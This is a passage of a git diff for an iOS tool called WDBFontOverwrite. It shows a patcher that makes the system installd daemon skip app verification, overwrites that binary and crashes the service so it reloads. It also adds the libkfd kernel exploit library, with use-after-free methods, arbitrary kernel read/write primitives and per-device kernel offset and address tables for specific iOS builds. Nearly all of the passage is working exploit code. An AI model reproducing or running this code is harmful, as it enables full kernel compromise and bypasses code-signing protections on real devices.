(uint64_t)mutableBytes)); + new_method->imp = (int32_t)((int64_t)imp_file_offset - + (int64_t)((uint64_t)&new_method->imp - (uint64_t)mutableBytes)); + } +}; + +static NSData* make_patch_installd(void* executableMap, size_t executableLength) { + struct installd_remove_app_limit_offsets offsets = {}; + if (!patchfind_installd(executableMap, executableLength, &offsets)) { + return nil; + } + + NSMutableData* data = [NSMutableData dataWithBytes:executableMap length:executableLength]; + char* mutableBytes = data.mutableBytes; + uint64_t current_empty_space = offsets.offset_data_const_end_padding; + uint64_t copied_size = 0; + uint64_t new_method_list_offset = current_empty_space; + patch_copy_objc_method_list(mutableBytes, offsets.offset_objc_method_list_t_MIInstallableBundle, + current_empty_space, &copied_size, + ^(const char* sel, uint64_t* inout_address) { + if (strcmp(sel, "performVerificationWithError:") != 0) { + return; + } + *inout_address = offsets.offset_return_true; + }); + current_empty_space += copied_size; + ((struct + dyld_chained_ptr_arm64e_auth_rebase*)(mutableBytes + + offsets + .offset_objc_class_rw_t_MIInstallableBundle_baseMethods)) + ->target = new_method_list_offset; + return data; +} + +bool patch_installd() { + const char* targetPath = "/usr/libexec/installd"; + int fd = open(targetPath, O_RDONLY | O_CLOEXEC); + off_t targetLength = lseek(fd, 0, SEEK_END); + lseek(fd, 0, SEEK_SET); + void* targetMap = mmap(nil, targetLength, PROT_READ, MAP_SHARED, fd, 0); + + NSData* originalData = [NSData dataWithBytes:targetMap length:targetLength]; + NSData* sourceData = make_patch_installd(targetMap, targetLength); + + NSURL* documentDirectory = [NSFileManager.defaultManager URLsForDirectory:NSDocumentDirectory inDomains:NSUserDomainMask][0]; + NSURL* installd_orig = [documentDirectory URLByAppendingPathComponent:@"installd.bin"]; + NSURL* installd_patched = [documentDirectory URLByAppendingPathComponent:@"installd_patched.bin"]; + + [[NSFileManager defaultManager] removeItemAtURL:installd_orig error:nil]; + [[NSFileManager defaultManager] removeItemAtURL:installd_patched error:nil]; + + [originalData writeToURL:installd_orig atomically:true]; + [sourceData writeToURL:installd_patched atomically:true]; + + if (!sourceData) { + NSLog(@"can't patchfind"); + return false; + } + + if (!overwrite_file(targetPath, installd_patched.path.UTF8String)) { + overwrite_file(targetPath, installd_orig.path.UTF8String); + munmap(targetMap, targetLength); + NSLog(@"can't overwrite"); + return false; + } + munmap(targetMap, targetLength); + xpc_crasher("com.apple.mobile.installd"); + sleep(1); + + // TODO(zhuowei): for now we revert it once installd starts + // so the change will only last until when this installd exits + overwrite_file(targetPath, installd_orig.path.UTF8String); + + return true; } diff --git a/WDBFontOverwrite/libkfd.h b/WDBFontOverwrite/libkfd.h new file mode 100644 index 0000000..c1d4885 --- /dev/null +++ b/WDBFontOverwrite/libkfd.h @@ -0,0 +1,208 @@ +/* + * Copyright (c) 2023 Félix Poulin-Bélanger. All rights reserved. + */ + +#ifndef libkfd_h +#define libkfd_h + +/* + * The global configuration parameters of libkfd. + */ +#define CONFIG_ASSERT 1 +#define CONFIG_PRINT 1 +#define CONFIG_TIMER 1 + +#include "libkfd/common.h" +#include "fun.h" + +/* + * The public API of libkfd. + */ + +enum puaf_method { + puaf_physpuppet, + puaf_smith, +}; + +enum kread_method { + kread_kqueue_workloop_ctl, + kread_sem_open, +}; + +enum kwrite_method { + kwrite_dup, + kwrite_sem_open, +}; + +u64 kopen(u64 puaf_pages, u64 puaf_method, u64 kread_method, u64 kwrite_method); +void kread(u64 kfd, u64 kaddr, void* uaddr, u64 size); +void kwrite(u64 kfd, void* uaddr, u64 kaddr, u64 size); +void kclose(u64 kfd); + +/* + * The private API of libkfd. + */ + +struct kfd; // Forward declaration for function pointers. + +struct info { + struct { + vm_address_t src_uaddr; + vm_address_t dst_uaddr; + vm_size_t size; + } copy; + struct { + i32 pid; + u64 tid; + u64 vid; + u64 maxfilesperproc; + char kern_version[512]; + } env; + struct { + u64 current_map; + u64 current_pmap; + u64 current_proc; + u64 current_task; + u64 current_thread; + u64 current_uthread; + u64 kernel_map; + u64 kernel_pmap; + u64 kernel_proc; + u64 kernel_task; + } kaddr; +}; + +struct perf { + u64 kernel_slide; + u64 gVirtBase; + u64 gPhysBase; + u64 gPhysSize; + struct { + u64 pa; + u64 va; + } ttbr[2]; + struct ptov_table_entry { + u64 pa; + u64 va; + u64 len; + } ptov_table[8]; + struct { + u64 kaddr; + u64 paddr; + u64 uaddr; + u64 size; + } shared_page; + struct { + i32 fd; + u32 si_rdev_buffer[2]; + u64 si_rdev_kaddr; + } dev; + void (*saved_kread)(struct kfd*, u64, void*, u64); + void (*saved_kwrite)(struct kfd*, void*, u64, u64); +}; + +struct puaf { + u64 number_of_puaf_pages; + u64* puaf_pages_uaddr; + void* puaf_method_data; + u64 puaf_method_data_size; + struct { + void (*init)(struct kfd*); + void (*run)(struct kfd*); + void (*cleanup)(struct kfd*); + void (*free)(struct kfd*); + } puaf_method_ops; +}; + +struct krkw { + u64 krkw_maximum_id; + u64 krkw_allocated_id; + u64 krkw_searched_id; + u64 krkw_object_id; + u64 krkw_object_uaddr; + u64 krkw_object_size; + void* krkw_method_data; + u64 krkw_method_data_size; + struct { + void (*init)(struct kfd*); + void (*allocate)(struct kfd*, u64); + bool (*search)(struct kfd*, u64); + void (*kread)(struct kfd*, u64, void*, u64); + void (*kwrite)(struct kfd*, void*, u64, u64); + void (*find_proc)(struct kfd*); + void (*deallocate)(struct kfd*, u64); + void (*free)(struct kfd*); + } krkw_method_ops; +}; + +struct kfd { + struct info info; + struct perf perf; + struct puaf puaf; + struct krkw kread; + struct krkw kwrite; +}; + +#include "libkfd/info.h" +#include "libkfd/puaf.h" +#include "libkfd/krkw.h" +#include "libkfd/perf.h" + +struct kfd* kfd_init(u64 puaf_pages, u64 puaf_method, u64 kread_method, u64 kwrite_method) +{ + struct kfd* kfd = (struct kfd*)(malloc_bzero(sizeof(struct kfd))); + info_init(kfd); + puaf_init(kfd, puaf_pages, puaf_method); + krkw_init(kfd, kread_method, kwrite_method); + perf_init(kfd); + return kfd; +} + +void kfd_free(struct kfd* kfd) +{ + perf_free(kfd); + krkw_free(kfd); + puaf_free(kfd); + info_free(kfd); + bzero_free(kfd, sizeof(struct kfd)); +} + +u64 kopen(u64 puaf_pages, u64 puaf_method, u64 kread_method, u64 kwrite_method) +{ + timer_start(); + + const u64 puaf_pages_min = 16; + const u64 puaf_pages_max = 2048; + assert(puaf_pages >= puaf_pages_min); + assert(puaf_pages <= puaf_pages_max); + assert(puaf_method <= puaf_smith); + assert(kread_method <= kread_sem_open); + assert(kwrite_method <= kwrite_sem_open); + + struct kfd* kfd = kfd_init(puaf_pages, puaf_method, kread_method, kwrite_method); + puaf_run(kfd); + krkw_run(kfd); + info_run(kfd); + perf_run(kfd); + puaf_cleanup(kfd); + + timer_end(); + return (u64)(kfd); +} + +void kread(u64 kfd, u64 kaddr, void* uaddr, u64 size) +{ + krkw_kread((struct kfd*)(kfd), kaddr, uaddr, size); +} + +void kwrite(u64 kfd, void* uaddr, u64 kaddr, u64 size) +{ + krkw_kwrite((struct kfd*)(kfd), uaddr, kaddr, size); +} + +void kclose(u64 kfd) +{ + kfd_free((struct kfd*)(kfd)); +} + +#endif /* libkfd_h */ diff --git a/WDBFontOverwrite/libkfd/common.h b/WDBFontOverwrite/libkfd/common.h new file mode 100644 index 0000000..c353878 --- /dev/null +++ b/WDBFontOverwrite/libkfd/common.h @@ -0,0 +1,202 @@ +/* + * Copyright (c) 2023 Félix Poulin-Bélanger. All rights reserved. + */ + +#ifndef common_h +#define common_h + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#define min(a, b) (((a) < (b)) ? (a) : (b)) +#define max(a, b) (((a) > (b)) ? (a) : (b)) + +typedef int8_t i8; +typedef int16_t i16; +typedef int32_t i32; +typedef int64_t i64; +typedef intptr_t isize; + +typedef uint8_t u8; +typedef uint16_t u16; +typedef uint32_t u32; +typedef uint64_t u64; +typedef uintptr_t usize; + +/* + * Helper print macros. + */ + +#if CONFIG_PRINT + +#define print(args...) printf(args) + +#else /* CONFIG_PRINT */ + +#define print(args...) + +#endif /* CONFIG_PRINT */ + +#define print_bool(name) print("[%s]: %s = %s\n", __FUNCTION__, #name, name ? "true" : "false") + +#define print_i8(name) print("[%s]: %s = %hhi\n", __FUNCTION__, #name, name) +#define print_u8(name) print("[%s]: %s = %hhu\n", __FUNCTION__, #name, name) +#define print_x8(name) print("[%s]: %s = %02hhx\n", __FUNCTION__, #name, name) + +#define print_i16(name) print("[%s]: %s = %hi\n", __FUNCTION__, #name, name) +#define print_u16(name) print("[%s]: %s = %hu\n", __FUNCTION__, #name, name) +#define print_x16(name) print("[%s]: %s = %04hx\n", __FUNCTION__, #name, name) + +#define print_i32(name) print("[%s]: %s = %i\n", __FUNCTION__, #name, name) +#define print_u32(name) print("[%s]: %s = %u\n", __FUNCTION__, #name, name) +#define print_x32(name) print("[%s]: %s = %08x\n", __FUNCTION__, #name, name) + +#define print_i64(name) print("[%s]: %s = %lli\n", __FUNCTION__, #name, name) +#define print_u64(name) print("[%s]: %s = %llu\n", __FUNCTION__, #name, name) +#define print_x64(name) print("[%s]: %s = %016llx\n", __FUNCTION__, #name, name) + +#define print_isize(name) print("[%s]: %s = %li\n", __FUNCTION__, #name, name) +#define print_usize(name) print("[%s]: %s = %lu\n", __FUNCTION__, #name, name) +#define print_xsize(name) print("[%s]: %s = %016lx\n", __FUNCTION__, #name, name) + +#define print_string(name) print("[%s]: %s = %s\n", __FUNCTION__, #name, name) + +#define print_message(args...) do { print("[%s]: ", __FUNCTION__); print(args); print("\n"); } while (0) +#define print_success(args...) do { print("[%s]: 🟢 ", __FUNCTION__); print(args); print("\n"); } while (0) +#define print_warning(args...) do { print("[%s]: 🟡 ", __FUNCTION__); print(args); print("\n"); } while (0) +#define print_failure(args...) do { print("[%s]: 🔴 ", __FUNCTION__); print(args); print("\n"); } while (0) + +#define print_timer(tv) \ + do { \ + u64 sec = ((tv)->tv_sec); \ + u64 msec = ((tv)->tv_usec) / 1000; \ + u64 usec = ((tv)->tv_usec) % 1000; \ + print_success("%llus %llums %lluus", sec, msec, usec); \ + } while (0) + +#define print_buffer(uaddr, size) \ + do { \ + const u64 u64_per_line = 8; \ + volatile u64* u64_base = (volatile u64*)(uaddr); \ + u64 u64_size = ((u64)(size) / sizeof(u64)); \ + for (u64 u64_offset = 0; u64_offset < u64_size; u64_offset++) { \ + if ((u64_offset % u64_per_line) == 0) { \ + print("[0x%04llx]: ", u64_offset * sizeof(u64)); \ + } \ + print("%016llx", u64_base[u64_offset]); \ + if ((u64_offset % u64_per_line) == (u64_per_line - 1)) { \ + print("\n"); \ + } else { \ + print(" "); \ + } \ + } \ + if ((u64_size % u64_per_line) != 0) { \ + print("\n"); \ + } \ + } while (0) + +/* + * Helper assert macros. + */ + +#if CONFIG_ASSERT + +#define assert(condition) \ + do { \ + if (!(condition)) { \ + print_failure("assertion failed: (%s)", #condition); \ + print_failure("file: %s, line: %d", __FILE__, __LINE__); \ + print_failure("... sleep(30) before exit(1) ..."); \ + sleep(30); \ + exit(1); \ + } \ + } while (0) + +#else /* CONFIG_ASSERT */ + +#define assert(condition) + +#endif /* CONFIG_ASSERT */ + +#define assert_false(message) \ + do { \ + print_failure("error: %s", message); \ + assert(false); \ + } while (0) + +#define assert_bsd(statement) \ + do { \ + kern_return_t kret = (statement); \ + if (kret != KERN_SUCCESS) { \ + print_failure("bsd error: kret = %d, errno = %d (%s)", kret, errno, strerror(errno)); \ + assert(kret == KERN_SUCCESS); \ + } \ + } while (0) + +#define assert_mach(statement) \ + do { \ + kern_return_t kret = (statement); \ + if (kret != KERN_SUCCESS) { \ + print_failure("mach error: kret = %d (%s)", kret, mach_error_string(kret)); \ + assert(kret == KERN_SUCCESS); \ + } \ + } while (0) + +/* + * Helper timer macros. + */ + +#if CONFIG_TIMER + +#define timer_start() \ + struct timeval tv_start; \ + do { \ + assert_bsd(gettimeofday(&tv_start, NULL)); \ + } while (0) + +#define timer_end() \ + do { \ + struct timeval tv_end, tv_diff; \ + assert_bsd(gettimeofday(&tv_end, NULL)); \ + timersub(&tv_end, &tv_start, &tv_diff); \ + print_timer(&tv_diff); \ + } while (0) + +#else /* CONFIG_TIMER */ + +#define timer_start() +#define timer_end() + +#endif /* CONFIG_TIMER */ + +/* + * Helper allocation macros. + */ + +#define malloc_bzero(size) \ + ({ \ + void* pointer = malloc(size); \ + assert(pointer != NULL); \ + bzero(pointer, size); \ + pointer; \ + }) + +#define bzero_free(pointer, size) \ + do { \ + bzero(pointer, size); \ + free(pointer); \ + pointer = NULL; \ + } while (0) + +#endif /* common_h */ diff --git a/WDBFontOverwrite/libkfd/info.h b/WDBFontOverwrite/libkfd/info.h new file mode 100644 index 0000000..7f09e42 --- /dev/null +++ b/WDBFontOverwrite/libkfd/info.h @@ -0,0 +1,183 @@ +/* + * Copyright (c) 2023 Félix Poulin-Bélanger. All rights reserved. + */ + +#ifndef info_h +#define info_h + +#include "info/dynamic_info.h" +#include "info/static_info.h" + +/* + * Note that these macros assume that the kfd pointer is in scope. + */ +#define kfd_offset(field_name) (kern_versions[kfd->info.env.vid].field_name) + +#define kget_u64(field_name, object_kaddr) \ + ({ \ + u64 tmp_buffer = 0; \ + u64 field_kaddr = (u64)(object_kaddr) + kfd_offset(field_name); \ + kread((u64)(kfd), (field_kaddr), (&tmp_buffer), (sizeof(tmp_buffer))); \ + tmp_buffer; \ + }) + +#define kset_u64(field_name, new_value, object_kaddr) \ + do { \ + u64 tmp_buffer = new_value; \ + u64 field_kaddr = (u64)(object_kaddr) + kfd_offset(field_name); \ + kwrite((u64)(kfd), (&tmp_buffer), (field_kaddr), (sizeof(tmp_buffer))); \ + } while (0) + +#define uget_u64(field_name, object_uaddr) \ + ({ \ + u64 field_uaddr = (u64)(object_uaddr) + kfd_offset(field_name); \ + u64 old_value = *(volatile u64*)(field_uaddr); \ + old_value; \ + }) + +#define uset_u64(field_name, new_value, object_uaddr) \ + do { \ + u64 field_uaddr = (u64)(object_uaddr) + kfd_offset(field_name); \ + *(volatile u64*)(field_uaddr) = (u64)(new_value); \ + } while (0) + +const char info_copy_sentinel[] = "p0up0u was here"; +const u64 info_copy_sentinel_size = sizeof(info_copy_sentinel); + +void info_init(struct kfd* kfd) +{ + /* + * Initialize the kfd->info.copy substructure. + * + * Note that the vm_copy() call in krkw_helper_grab_free_pages() makes the following assumptions: + * - The size of the copy must be strictly greater than msg_ool_size_small. + * - The source object must have a copy strategy of MEMORY_OBJECT_COPY_NONE. + * - The destination object must have a copy strategy of MEMORY_OBJECT_COPY_SYMMETRIC. + */ + kfd->info.copy.size = pages(4); + assert(kfd->info.copy.size > msg_ool_size_small); + assert_mach(vm_allocate(mach_task_self(), &kfd->info.copy.src_uaddr, kfd->info.copy.size, VM_FLAGS_ANYWHERE | VM_FLAGS_PURGABLE)); + assert_mach(vm_allocate(mach_task_self(), &kfd->info.copy.dst_uaddr, kfd->info.copy.size, VM_FLAGS_ANYWHERE)); + for (u64 offset = pages(0); offset < kfd->info.copy.size; offset += pages(1)) { + bcopy(info_copy_sentinel, (void*)(kfd->info.copy.src_uaddr + offset), info_copy_sentinel_size); + bcopy(info_copy_sentinel, (void*)(kfd->info.copy.dst_uaddr + offset), info_copy_sentinel_size); + } + + /* + * Initialize the kfd->info.env substructure. + */ + kfd->info.env.pid = getpid(); + print_i32(kfd->info.env.pid); + + thread_identifier_info_data_t data = {}; + thread_info_t info = (thread_info_t)(&data); + mach_msg_type_number_t count = THREAD_IDENTIFIER_INFO_COUNT; + assert_mach(thread_info(mach_thread_self(), THREAD_IDENTIFIER_INFO, info, &count)); + kfd->info.env.tid = data.thread_id; + print_u64(kfd->info.env.tid); + + usize size1 = sizeof(kfd->info.env.maxfilesperproc); + assert_bsd(sysctlbyname("kern.maxfilesperproc", &kfd->info.env.maxfilesperproc, &size1, NULL, 0)); + print_u64(kfd->info.env.maxfilesperproc); + + struct rlimit rlim = { .rlim_cur = kfd->info.env.maxfilesperproc, .rlim_max = kfd->info.env.maxfilesperproc }; + assert_bsd(setrlimit(RLIMIT_NOFILE, &rlim)); + + usize size2 = sizeof(kfd->info.env.kern_version); + assert_bsd(sysctlbyname("kern.version", &kfd->info.env.kern_version, &size2, NULL, 0)); + print_string(kfd->info.env.kern_version); + + const u64 number_of_kern_versions = sizeof(kern_versions) / sizeof(kern_versions[0]); + for (u64 i = 0; i < number_of_kern_versions; i++) { + const char* current_kern_version = kern_versions[i].kern_version; + if (!memcmp(kfd->info.env.kern_version, current_kern_version, strlen(current_kern_version))) { + kfd->info.env.vid = i; + print_u64(kfd->info.env.vid); + return; + } + } + + assert_false("unsupported osversion"); +} + +void info_run(struct kfd* kfd) +{ + timer_start(); + + /* + * current_proc() and current_task() + */ + assert(kfd->info.kaddr.current_proc); + kfd->info.kaddr.current_task = kfd->info.kaddr.current_proc + kfd_offset(proc__object_size); + print_x64(kfd->info.kaddr.current_proc); + print_x64(kfd->info.kaddr.current_task); + + /* + * current_map() + */ + u64 signed_map_kaddr = kget_u64(task__map, kfd->info.kaddr.current_task); + kfd->info.kaddr.current_map = unsign_kaddr(signed_map_kaddr); + print_x64(kfd->info.kaddr.current_map); + + /* + * current_pmap() + */ + u64 signed_pmap_kaddr = kget_u64(_vm_map__pmap, kfd->info.kaddr.current_map); + kfd->info.kaddr.current_pmap = unsign_kaddr(signed_pmap_kaddr); + print_x64(kfd->info.kaddr.current_pmap); + + /* + * current_thread() and current_uthread() + */ + const bool find_current_thread = false; + if (find_current_thread) { + u64 thread_kaddr = kget_u64(task__threads__next, kfd->info.kaddr.current_task); + + while (true) { + u64 tid = kget_u64(thread__thread_id, thread_kaddr); + if (tid == kfd->info.env.tid) { + kfd->info.kaddr.current_thread = thread_kaddr; + kfd->info.kaddr.current_uthread = thread_kaddr + kfd_offset(thread__object_size); + break; + } + + thread_kaddr = kget_u64(thread__task_threads__next, thread_kaddr); + } + + print_x64(kfd->info.kaddr.current_thread); + print_x64(kfd->info.kaddr.current_uthread); + } + + if (kfd->info.kaddr.kernel_proc) { + /* + * kernel_proc() and kernel_task() + */ + kfd->info.kaddr.kernel_task = kfd->info.kaddr.kernel_proc + kfd_offset(proc__object_size); + print_x64(kfd->info.kaddr.kernel_proc); + print_x64(kfd->info.kaddr.kernel_task); + + /* + * kernel_map() + */ + u64 signed_map_kaddr = kget_u64(task__map, kfd->info.kaddr.kernel_task); + kfd->info.kaddr.kernel_map = unsign_kaddr(signed_map_kaddr); + print_x64(kfd->info.kaddr.kernel_map); + + /* + * kernel_pmap() + */ + u64 signed_pmap_kaddr = kget_u64(_vm_map__pmap, kfd->info.kaddr.kernel_map); + kfd->info.kaddr.kernel_pmap = unsign_kaddr(signed_pmap_kaddr); + print_x64(kfd->info.kaddr.kernel_pmap); + } + + timer_end(); +} + +void info_free(struct kfd* kfd) +{ + assert_mach(vm_deallocate(mach_task_self(), kfd->info.copy.src_uaddr, kfd->info.copy.size)); + assert_mach(vm_deallocate(mach_task_self(), kfd->info.copy.dst_uaddr, kfd->info.copy.size)); +} + +#endif /* info_h */ diff --git a/WDBFontOverwrite/libkfd/info/dynamic_info.h b/WDBFontOverwrite/libkfd/info/dynamic_info.h new file mode 100644 index 0000000..f3b25a0 --- /dev/null +++ b/WDBFontOverwrite/libkfd/info/dynamic_info.h @@ -0,0 +1,3772 @@ +/* + * Copyright (c) 2023 Félix Poulin-Bélanger. All rights reserved. + */ + +#ifndef dynamic_info_h +#define dynamic_info_h + +struct dynamic_info { + const char* kern_version; + // struct fileglob + u64 fileglob__fg_ops; + u64 fileglob__fg_data; + // struct fileops + u64 fileops__fo_kqfilter; + // struct fileproc + // u64 fileproc__fp_iocount; + // u64 fileproc__fp_vflags; + // u64 fileproc__fp_flags; + // u64 fileproc__fp_guard_attrs; + // u64 fileproc__fp_glob; + // u64 fileproc__fp_guard; + // u64 fileproc__object_size; + // struct fileproc_guard + u64 fileproc_guard__fpg_guard; + // struct kqworkloop + u64 kqworkloop__kqwl_state; + u64 kqworkloop__kqwl_p; + u64 kqworkloop__kqwl_owner; + u64 kqworkloop__kqwl_dynamicid; + u64 kqworkloop__object_size; + // struct pmap + u64 pmap__tte; + u64 pmap__ttep; + // struct proc + u64 proc__p_list__le_next; + u64 proc__p_list__le_prev; + u64 proc__p_pid; + u64 proc__p_fd__fd_ofiles; + u64 proc__object_size; + // struct pseminfo + u64 pseminfo__psem_usecount; + u64 pseminfo__psem_uid; + u64 pseminfo__psem_gid; + u64 pseminfo__psem_name; + u64 pseminfo__psem_semobject; + // struct psemnode + // u64 psemnode__pinfo; + // u64 psemnode__padding; + // u64 psemnode__object_size; + // struct semaphore + u64 semaphore__owner; + // struct specinfo + u64 specinfo__si_rdev; + // struct task + u64 task__map; + u64 task__threads__next; + u64 task__threads__prev; + u64 task__itk_space; + u64 task__object_size; + // struct thread + u64 thread__task_threads__next; + u64 thread__task_threads__prev; + u64 thread__map; + u64 thread__thread_id; + u64 thread__object_size; + // struct uthread + u64 uthread__object_size; + // struct vm_map_entry + u64 vm_map_entry__links__prev; + u64 vm_map_entry__links__next; + u64 vm_map_entry__links__start; + u64 vm_map_entry__links__end; + u64 vm_map_entry__store__entry__rbe_left; + u64 vm_map_entry__store__entry__rbe_right; + u64 vm_map_entry__store__entry__rbe_parent; + // struct vnode + u64 vnode__v_un__vu_specinfo; + // struct _vm_map + u64 _vm_map__hdr__links__prev; + u64 _vm_map__hdr__links__next; + u64 _vm_map__hdr__links__start; + u64 _vm_map__hdr__links__end; + u64 _vm_map__hdr__nentries; + u64 _vm_map__hdr__rb_head_store__rbh_root; + u64 _vm_map__pmap; + u64 _vm_map__hint; + u64 _vm_map__hole_hint; + u64 _vm_map__holes_list; + u64 _vm_map__object_size; + // kernelcache static addresses + u64 kernelcache__kernel_base; + u64 kernelcache__cdevsw; + u64 kernelcache__gPhysBase; + u64 kernelcache__gPhysSize; + u64 kernelcache__gVirtBase; + u64 kernelcache__perfmon_devices; + u64 kernelcache__perfmon_dev_open; + u64 kernelcache__ptov_table; + u64 kernelcache__vm_first_phys_ppnum; + u64 kernelcache__vm_pages; + u64 kernelcache__vm_page_array_beginning_addr; + u64 kernelcache__vm_page_array_ending_addr; + u64 kernelcache__vn_kqfilter; +}; + +const struct dynamic_info kern_versions[] = { + { + .kern_version = "Darwin Kernel Version 22.5.0: Mon Apr 24 21:09:28 PDT 2023; root:xnu-8796.122.4~1/RELEASE_ARM64_T8120", + .fileglob__fg_ops = 0x0028, + .fileglob__fg_data = 0x0038, + .fileops__fo_kqfilter = 0x0030, + // .fileproc__fp_iocount = 0x0000, + // .fileproc__fp_vflags = 0x0004, + // .fileproc__fp_flags = 0x0008, + // .fileproc__fp_guard_attrs = 0x000a, + // .fileproc__fp_glob = 0x0010, + // .fileproc__fp_guard = 0x0018, + // .fileproc__object_size = 0x0020, + .fileproc_guard__fpg_guard = 0x0008, + .kqworkloop__kqwl_state = 0x0010, + .kqworkloop__kqwl_p = 0x0018, + .kqworkloop__kqwl_owner = 0x00d0, + .kqworkloop__kqwl_dynamicid = 0x00e8, + .kqworkloop__object_size = 0x0108, + .pmap__tte = 0x0000, + .pmap__ttep = 0x0008, + .proc__p_list__le_next = 0x0000, + .proc__p_list__le_prev = 0x0008, + .proc__p_pid = 0x0060, + .proc__p_fd__fd_ofiles = 0x00f8, + .proc__object_size = 0x0730, + .pseminfo__psem_usecount = 0x0004, + .pseminfo__psem_uid = 0x000c, + .pseminfo__psem_gid = 0x0010, + .pseminfo__psem_name = 0x0014, + .pseminfo__psem_semobject = 0x0038, + // .psemnode__pinfo = 0x0000, + // .psemnode__padding = 0x0008, + // .psemnode__object_size = 0x0010, + .semaphore__owner = 0x0028, + .specinfo__si_rdev = 0x0018, + .task__map = 0x0028, + .task__threads__next = 0x0058, + .task__threads__prev = 0x0060, + .task__itk_space = 0x0300, + .task__object_size = 0x0640, + .thread__task_threads__next = 0x0368, + .thread__task_threads__prev = 0x0370, + .thread__map = 0x0380, + .thread__thread_id = 0x0418, + .thread__object_size = 0x04c0, + .uthread__object_size = 0x0200, + .vm_map_entry__links__prev = 0x0000, + .vm_map_entry__links__next = 0x0008, + .vm_map_entry__links__start = 0x0010, + .vm_map_entry__links__end = 0x0018, + .vm_map_entry__store__entry__rbe_left = 0x0020, + .vm_map_entry__store__entry__rbe_right = 0x0028, + .vm_map_entry__store__entry__rbe_parent = 0x0030, + .vnode__v_un__vu_specinfo = 0x0078, + ._vm_map__hdr__links__prev = 0x0010, + ._vm_map__hdr__links__next = 0x0018, + ._vm_map__hdr__links__start = 0x0020, + ._vm_map__hdr__links__end = 0x0028, + ._vm_map__hdr__nentries = 0x0030, + ._vm_map__hdr__rb_head_store__rbh_root = 0x0038, + ._vm_map__pmap = 0x0040, + ._vm_map__hint = 0x0098, + ._vm_map__hole_hint = 0x00a0, + ._vm_map__holes_list = 0x00a8, + ._vm_map__object_size = 0x00c0, + .kernelcache__kernel_base = 0xfffffff007004000, + .kernelcache__cdevsw = 0xfffffff00a419208, + .kernelcache__gPhysBase = 0xfffffff007934010, + .kernelcache__gPhysSize = 0xfffffff007934018, + .kernelcache__gVirtBase = 0xfffffff0079321e8, + .kernelcache__perfmon_devices = 0xfffffff00a457500, + .kernelcache__perfmon_dev_open = 0xfffffff007eecfc0, + .kernelcache__ptov_table = 0xfffffff0078e7178, + .kernelcache__vm_first_phys_ppnum = 0xfffffff00a456990, + .kernelcache__vm_pages = 0xfffffff0078e3eb8, + .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078e6128, + .kernelcache__vm_page_array_ending_addr = 0xfffffff00a456988, + .kernelcache__vn_kqfilter = 0xfffffff007f39b28, + }, + /**************** iPhone 11 Series ***********************/ + // iPhone 11, iOS 16.5 + { + .kern_version = "Darwin Kernel Version 22.5.0: Mon Apr 24 21:10:28 PDT 2023; root:xnu-8796.122.4~1/RELEASE_ARM64_T8030", + .fileglob__fg_ops = 0x28, + .fileglob__fg_data = 0x40 - 8, + .fileops__fo_kqfilter = 0x30, + // .fileproc__fp_iocount = 0x0000, + // .fileproc__fp_vflags = 0x0004, + // .fileproc__fp_flags = 0x0008, + // .fileproc__fp_guard_attrs = 0x000a, + // .fileproc__fp_glob = 0x0010, + // .fileproc__fp_guard = 0x0018, + // .fileproc__object_size = 0x0020, + .fileproc_guard__fpg_guard = 0x8, + .kqworkloop__kqwl_state = 0x10, + .kqworkloop__kqwl_p = 0x18, + .kqworkloop__kqwl_owner = 0xd0, + .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18, + .kqworkloop__object_size = 0x108, + .pmap__tte = 0x0, + .pmap__ttep = 0x8, + .proc__p_list__le_next = 0x0, + .proc__p_list__le_prev = 0x8, + .proc__p_pid = 0x60, + .proc__p_fd__fd_ofiles = 0xf8, + .proc__object_size = 0x730, + .pseminfo__psem_usecount = 0x04, + .pseminfo__psem_uid = 0x0c, + .pseminfo__psem_gid = 0x10, + .pseminfo__psem_name = 0x14, + .pseminfo__psem_semobject = 0x38, + // .psemnode__pinfo = 0x0000, + // .psemnode__padding = 0x0008, + // .psemnode__object_size = 0x0010, + .semaphore__owner = 0x28, + .specinfo__si_rdev = 0x18, + .task__map = 0x28, + .task__threads__next = 0x80 - 0x28, + .task__threads__prev = 0x80 - 0x28 + 8, + .task__itk_space = 0x300, + .task__object_size = 0x628, + .thread__task_threads__next = 0x378 - 0x18, + .thread__task_threads__prev = 0x378 - 0x18 + 8, + .thread__map = 0x378, + .thread__thread_id = 0x410, + .thread__object_size = 0x4b8, + .uthread__object_size = 0x200, + .vm_map_entry__links__prev = 0x00, + .vm_map_entry__links__next = 0x08, + .vm_map_entry__links__start = 0x10, + .vm_map_entry__links__end = 0x18, + .vm_map_entry__store__entry__rbe_left = 0x20, + .vm_map_entry__store__entry__rbe_right = 0x28, + .vm_map_entry__store__entry__rbe_parent = 0x30, + .vnode__v_un__vu_specinfo = 0x78, + ._vm_map__hdr__links__prev = 0x00 + 0x10, + ._vm_map__hdr__links__next = 0x08 + 0x10, + ._vm_map__hdr__links__start = 0x10 + 0x10, + ._vm_map__hdr__links__end = 0x18 + 0x10, + ._vm_map__hdr__nentries = 0x30, + ._vm_map__hdr__rb_head_store__rbh_root = 0x38, + ._vm_map__pmap = 0x40, + ._vm_map__hint = 0x90 + 0x08, + ._vm_map__hole_hint = 0x90 + 0x10, + ._vm_map__holes_list = 0x90 + 0x18, + ._vm_map__object_size = 0xc0, + .kernelcache__kernel_base = 0xfffffff007004000, + .kernelcache__cdevsw = 0xfffffff00a435288, + .kernelcache__gPhysBase = 0xfffffff007950010, + .kernelcache__gPhysSize = 0xfffffff007950010 + 8, + .kernelcache__gVirtBase = 0xfffffff00794e1e8, + .kernelcache__perfmon_devices = 0xfffffff00a4734f0, + .kernelcache__perfmon_dev_open = 0xfffffff007efb5d0, + .kernelcache__ptov_table = 0xfffffff007903178, + .kernelcache__vm_first_phys_ppnum = 0xfffffff00a472990, + .kernelcache__vm_pages = 0xfffffff0078ffeb0, + .kernelcache__vm_page_array_beginning_addr = 0xfffffff007902118, + .kernelcache__vm_page_array_ending_addr = 0xfffffff00a472988, + .kernelcache__vn_kqfilter = 0xfffffff007f4a41c, + }, +//iPhone 11, 16.2 + { + .kern_version = "Darwin Kernel Version 22.2.0: Mon Nov 28 20:10:54 PST 2022; root:xnu-8792.62.2~1/RELEASE_ARM64_T8030", + .fileglob__fg_ops = 0x0, + .fileglob__fg_data = 0x40 - 8, + .fileops__fo_kqfilter = 0x30, + // .fileproc__fp_iocount = 0x0000, + // .fileproc__fp_vflags = 0x0004, + // .fileproc__fp_flags = 0x0008, + // .fileproc__fp_guard_attrs = 0x000a, + // .fileproc__fp_glob = 0x0010, + // 